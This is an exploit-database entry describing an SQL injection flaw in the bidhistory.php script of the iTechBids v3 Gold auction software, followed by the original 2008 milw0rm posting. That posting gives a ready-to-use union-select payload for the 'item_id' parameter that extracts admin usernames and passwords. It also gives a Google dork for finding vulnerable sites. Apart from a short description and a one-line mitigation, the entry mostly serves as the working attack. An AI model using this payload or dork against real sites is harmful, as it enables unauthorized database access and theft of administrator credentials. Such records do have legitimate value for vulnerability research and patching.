iTechBids v3 Gold Remote SQL injection

vendor:

iTechBids v3 Gold

by:

QTRinux

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: iTechBids v3 Gold

Affected Version From: 3

Affected Version To: 3

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

iTechBids v3 Gold Remote SQL injection

A vulnerability exists in iTechBids v3 Gold, which can be exploited by malicious people to conduct SQL injection attacks. The vulnerability is caused due to the bidhistory.php script not properly sanitizing user-supplied input to the 'item_id' parameter. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation may allow execution of arbitrary SQL commands in the context of the webserver process. The vulnerability is confirmed in version 3.0. Other versions may also be affected.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QTRinux!!aNa TrYaGi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
# iTechBids v3 Gold Remote SQL injection
#                                                                                       #
#AUTHOR : QTRinux                                                                       #
#Discovered by : QTRinux                                                                #
#Exploited By  : QTRinux                                                                #
#TrYaG Team Members : AlQaTaRi - POISON -Mr.SH4R3S and all TrYaGi  , cold-z3ro , Gold_M
#Site : Tryag.cc
#
#Script:http://itechscripts.com/index.php?&vmcchk=1&option=com_virtuemart&Itemid=45
#Price : $125.00
#Dork  : intitle:"ITech Bids"
#File: PATH_SCRIPT/bidhistory.php?item_id= SQL
#SQL : -1%20union%20select%201,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36%20from%20admin

thnx str0ke :)
[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QTRinux!!aNa TrYaGi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]

# milw0rm.com [2008-02-04]